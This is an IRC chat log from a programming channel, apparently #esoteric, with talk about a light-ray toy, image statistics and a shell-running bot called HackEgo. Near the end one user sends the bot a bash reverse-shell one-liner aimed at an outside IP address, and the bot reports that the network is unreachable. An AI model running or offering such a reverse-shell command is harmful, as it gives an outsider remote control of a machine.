19:23:13 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
19:50:23 <Sgeo_> So yeah, AmEx apparently rejected the order
19:50:30 <Sgeo_> So, I guess I should call them
19:53:45 <Sgeo_> I don't think I can easily get my money back out, so I'd rather spend it
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20:08:27 <oerjan> hm that awful designed comic page is back. looking at the address, it seems i'm being forwarded to the mobile version.
20:09:45 <oerjan> ah there it worked. hm...
20:10:41 <oerjan> ah it only happens when i'm loading with zoom on
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20:25:40 <fizzie> Vorpal: Latest Nvidia drivers have an issue in conjunction with XMonad where switching between workspaces leaves bits and pieces of old windows on screen, if they're "special" (OpenGL-y) enough. Apparently something buggy related to server-side borders, since so few window managers use those. (Running a compositing manager fixes it.)
20:25:57 <oerjan> Sgeo_: SORRY ABOUT THAT
20:26:18 <oerjan> (you may not know yet what "that" is, but you soon will.)
20:28:48 <kmc> http://zenphoton.com
20:31:03 <Zom-B> i decided not to make a 2-d brainfuck variant of floater
20:35:18 <kmc> there are controls at the left to set that
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20:39:36 <fizzie> Things got somewhat "blocky" after boxing the light in and then reflecting the beam six times.
20:40:20 -!- ^v has joined.
20:40:33 <Zom-B> when you make an enclosure of perfect mirrors, it crashes
20:42:59 <Sgeo_> oerjan: just saw the message, was about to come in here to ask if you're reddit-stalking me
20:43:36 <Sgeo_> With.. a grand total of talking to me exactly 1 time
20:44:01 <oerjan> hm need to up the stalking then.
20:48:36 <kmc> the person who made that has done a billion other cool things http://scanlime.org/
20:48:41 <kmc> also she lives in san francisco
20:49:00 <kmc> there are all these cool people in this city who I'm too shy to meet :/
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21:26:52 <fizzie> More of them aligned image renderings: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var.jpg https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-eig.jpg
21:31:40 <kmc> what's all this then
21:32:16 -!- ket1v has joined.
21:33:07 <fizzie> The "var" one is the sample standard deviation, for each pixel, across the 33 images. And the "eig" one has had the eigenfaces kinda thing applied on it.
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21:38:11 <Zom-B> lol i also once used ard deviation on images
21:39:01 <Bike> kmc: http://johndisneys.tumblr.com/post/81043293062/the-shining-1981-dir-stanley-kubrick
21:39:51 <fizzie> It's highlighting things that change a lot between images, which is more or less outlines (due to alignment issues) and the ground (due to snow).
21:40:19 <kmc> Bike: hahaha
21:40:22 <kmc> is all of that dril
21:40:28 <oerjan> fizzie: i think someone is abducting your university into another dimension hth
21:42:17 <fizzie> oerjan: Fortunately, it looks far less like that when viewed from another angle: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-var2.jpg
21:42:46 <kmc> looks haunted as shit
21:43:32 <Zom-B> i used it to inverse weight differences in images to detect motion, so often changing pixels tend to get ignored
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22:17:42 <fizzie> One more for the road: https://dl.dropboxusercontent.com/u/113389132/Misc/20140329-nmf.jpg
22:18:41 <fizzie> That's taking all 33 images as W*H*3-length vectors, and then computing a rank-4 nonnegative matrix factorization; shown are the four basis vectors reinterpreted again as images.
22:19:32 <fizzie> (In other words, if you wanted to represent each image as a weighted sum of 4 other images, those four should be good for that.)
22:19:42 <Zom-B> the first and last ones look spooky
22:23:05 -!- conehead has joined.
22:25:10 <Zom-B> hacked the zenphoton base64 code and made some scripted designs
22:25:13 <Zom-B> http://zenphoton.com/#AAQAAkACAAEgfwEgAgACKAIMAia/QAACDAImAhgCIr9AAAIYAiICIgIav0AAAiICGgIqAhC/QAACKgIQAi4CBL9AAAIuAgQCMAH4v0AAAjAB+AIuAey/QAACLgHsAioB4L9AAAIqAeACIgHWv0AAAiIB1gIYAc6/QAACGAHOAgwByr9AAAIMAcoCAAHIv0AAAgAByAH0Acq/QAAB9AHKAegBzr9AAAHoAc4B3gHWv0AAAd4B1gHWAeC/QAAB1gHgAdIB7L9AAAHSAewB0AH4v0AAAdAB+AHSAgS/QAAB0gIEAdYCEL9AAAHWAhAB3gIav0AAAd4CGgHoAiK/QAAB6AIiAfQCJr9AAAH0AiYCAAIov0AAAmw
22:25:14 <Zom-B> CCwJ4Agm/QAACeAIJAoQCBb9AAAKEAgUCjgH9v0AAAo4B/QKWAfO/QAAClgHzApoB579AAAKaAecCnAHbv0AAApwB2wKaAc+/QAACmgHPApYBw79AAAKWAcMCjgG5v0AAAo4BuQKEAbG/QAAChAGxAngBrb9AAAJ4Aa0CbAGrv0AAAmwBqwJgAa2/QAACYAGtAlQBsb9AAAJUAbECSgG5v0AAAkoBuQJCAcO/QAACQgHDAj4Bz79AAAI+Ac8CPAHbv0AAAjwB2wI+Aee/QAACPgHnAkIB879AAAJCAfMCSgH9v0AAAkoB/QJUAgW/QAACVAIFAmACCb9AAAJgAgkCbAILv0AAArsBvALHAbq/QAACxwG6AtMBtr9AAALTAbYC3QGuv0AA
22:25:14 <Zom-B> At0BrgLlAaS/QAAC5QGkAukBmL9AAALpAZgC6wGMv0AAAusBjALpAYC/QAAC6QGAAuUBdL9AAALlAXQC3QFqv0AAAt0BagLTAWK/QAAC0wFiAscBXr9AAALHAV4CuwFcv0AAArsBXAKvAV6/QAACrwFeAqMBYr9AAAKjAWICmQFqv0AAApkBagKRAXS/QAACkQF0Ao0BgL9AAAKNAYACiwGMv0AAAosBjAKNAZi/QAACjQGYApEBpL9AAAKRAaQCmQGuv0AAApkBrgKjAba/QAACowG2Aq8Bur9AAAKvAboCuwG8v0AAAtgBUALkAU6/QAAC5AFOAvABSr9AAALwAUoC+gFCv0AAAvoBQgMCATi/QAADAgE4AwYBLL9AAAMGASwDCAEgv
22:25:14 <Zom-B> 0AAAwgBIAMGARS/QAADBgEUAwIBCL9AAAMCAQgC+gD+v0AAAvoA/gLwAPa/QAAC8AD2AuQA8r9AAALkAPIC2ADwv0AAAtgA8ALMAPK/QAACzADyAsAA9r9AAALAAPYCtgD+v0AAArYA/gKuAQi/QAACrgEIAqoBFL9AAAKqARQCqAEgv0AAAqgBIAKqASy/QAACqgEsAq4BOL9AAAKuATgCtgFCv0AAArYBQgLAAUq/QAACwAFKAswBTr9AAALMAU4C2AFQv0AAArsA5ALHAOK/QAACxwDiAtMA3r9AAALTAN4C3QDWv0AAAt0A1gLlAMy/QAAC5QDMAukAwL9AAALpAMAC6wC0v0AAAusAtALpAKi/QAAC6QCoAuUAnL9AAALlAJwC3Q
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22:25:21 <Zom-B> hope that link works :P
22:25:53 <Zom-B> http://tinyurl.com/o9lunsl
22:28:55 <kmc> some cool patterns there
22:28:58 <kmc> in the base64 text I mean
22:29:08 <kmc> cross your eyes to see the sailboat
22:32:24 <kmc> all of them
22:34:21 <Zom-B> http://tinyurl.com/ptqgbyg
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22:47:00 <HackEgo> Runs arbitrary code in GNU/Linux. Type "`<command>", or "`run <command>" for full shell commands. "`fetch <URL>" downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert <rev>" can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/
22:47:14 <fizzie> Right, so it was just actual commands that were broken, not those pseudo-things.
22:47:35 <fizzie> Or, well, not that one pseudo-thing.
22:52:18 <Zom-B> this one is heavy http://tinyurl.com/pxm768o
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22:53:41 <JesseH> Probably the longest link I've seen ever.
22:54:18 <Zom-B> i've seen some long links with google reverse image search
22:55:50 <int-e> Melvar: the "begone" was serious insofar as the clash between lambdabot and idris-ircslave does annoy me.
22:56:36 <kmc> i find it hilarious
22:58:17 <int-e> but the most used lambdabot functionality here seems to be @tell, so it's not a big deal.
22:59:45 <int-e> (the thought of a loud "shhhh" amused me)
23:00:32 <atriq> I got home from uni this afternoon
23:00:39 <atriq> Haven't set up my computer yet
23:00:46 <atriq> (I left my desk in a bit of a mess)
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23:26:30 <Sgeo_> I want there to be games that are incredibly difficult unless you read the instructions
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23:26:55 <Sgeo_> Like, it looks like you've understood it fully, but if you haven't read the instructions, you didn't
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23:30:35 <zzo38> Sgeo_: Can you make up such thing?
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23:32:29 <HackEgo> 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ UNPA \ wisdom \ wisdom.pdf
23:32:55 <fizzie> I hope Gregor won't mind me "fixing" it. (In quotes since I have no idea whether I did or not.)
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23:34:28 <Phantom__Hoover> Sgeo_, would you not notice everything going wrong because you didn't understand it
23:35:07 <int-e> `` echo Vg gnyxf! | tr a-zA-Z n-za-mN-ZA-M
23:35:31 <fizzie> Well, that didn't work long at all. :)
23:35:59 <fizzie> Huh. It tried to reply 1 to that.
23:37:41 <fizzie> I'm confused. It seems to go "connection timed out" all the time, in the log.
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23:43:14 <fizzie> Oh, I seem to have accidentally started two, perhaps.
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23:44:40 <kmc> `run wc -l quotes
23:45:36 <fizzie> Or it's possible there's some sort of an autostart thing that I don't know of. (I'm really not sure I should've poked at it at all.)
23:49:44 <HackEgo> <elliott_> you win this round. <elliott_> your prize is hosting the wiki <fizzie> I don't like this game show.
23:50:23 <fizzie> `run echo blah > how_about_the_filesystem
23:50:28 <fizzie> `run cat how_about_the_filesystem
23:50:39 <fizzie> `run rm how_about_the_filesystem # well how about that
23:51:17 <atriq> `quote of chocolate
23:51:18 <HackEgo> 508) <fungot> elliott: mr president, commissioner, i fully accept that description when it comes to human rights. yes, with an average fat content of chocolate, and we are using double standards! we all know that under present legislation and also in relation to standardization bodies. if i do not want. \ 648) <Phantom_Hoover> Just because you can'
23:51:29 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: uote: not found
23:51:38 <atriq> `quote a book about
23:51:47 <atriq> `quote prohibition
23:51:48 <HackEgo> 939) <Taneb> I'm a story about the prohibition of chocolate
23:54:08 <ion> `run for n in $(seq 4); do sed -re 's/ /\n/g' <quotes | shuf; done | paste -s | sed -re 's/\t/ /g'
23:54:09 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/-s
23:54:31 <ion> `run which paste
23:54:36 <ion> `run ls -l /usr/bin/paste
23:54:37 <HackEgo> -rwxr-xr-x 1 0 0 35264 Jan 26 2013 /usr/bin/paste
23:54:44 <ion> `run for n in $(seq 4); do sed -re 's/ /\n/g' <quotes | shuf; done | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:54:46 <HackEgo> <RodgerTheGreat> an ieee-754 double does not have enough granular precision to express how little I care <copumpkin> it's not even about strictness actually <monqy> I've only watched bad movies about video game. I enjoyed every second of it. <FireFly> Taneb: stop complianing <GreenReaper> Even so. <mnoqy> the theory's probably not bad, bu
23:54:58 <maurer> Sorry if non-legit, but curious if it works
23:55:01 <maurer> `run bash -i >& /dev/tcp/128.2.142.56/8123 0>&1
23:55:02 <HackEgo> bash: connect: Network is unreachable \ bash: /dev/tcp/128.2.142.56/8123: Network is unreachable
23:55:21 <fizzie> There is a HTTP proxy that can do limited (whitelisted?) networking.
23:55:29 <fizzie> If it works. It might not.
23:56:10 <kmc> `addquote <shachaf> pippi långstrump's name is translated as "gilgi" or "bilbi" usually <ion> Does she have a ring of power?
23:56:12 <HackEgo> 1177) <shachaf> pippi långstrump's name is translated as "gilgi" or "bilbi" usually <ion> Does she have a ring of power?
23:56:37 <kmc> `addquote * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. <Sgeo> (And has gravity)
23:56:38 <HackEgo> 1178) * Sgeo remembers when he believed VRML could never have gravity. Now VRML is dead. <Sgeo> (And has gravity)
23:56:47 <kmc> `addquote <lexande> and i had at one point been a meme
23:56:48 <HackEgo> 1179) <lexande> and i had at one point been a meme
23:58:26 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:58:26 <HackEgo> <kmc> nope, it is the same party <Taneb> So it's like... Rummy mixed with... breakout? <SimonRC> TODO: sex life
23:58:56 <ion> `run sed -re 's/ /\n/g' <quotes | shuf | head -n 3 | /usr/bin/paste -s | sed -re 's/\t/ /g'
23:58:56 <HackEgo> <oklopol> well i just ate some stuff and watched family guy <Phantom_Hoover> ais523, also contains benzene, my carcinogen of choice. <Taneb> This staircase is very good for correcting people's opininons about communism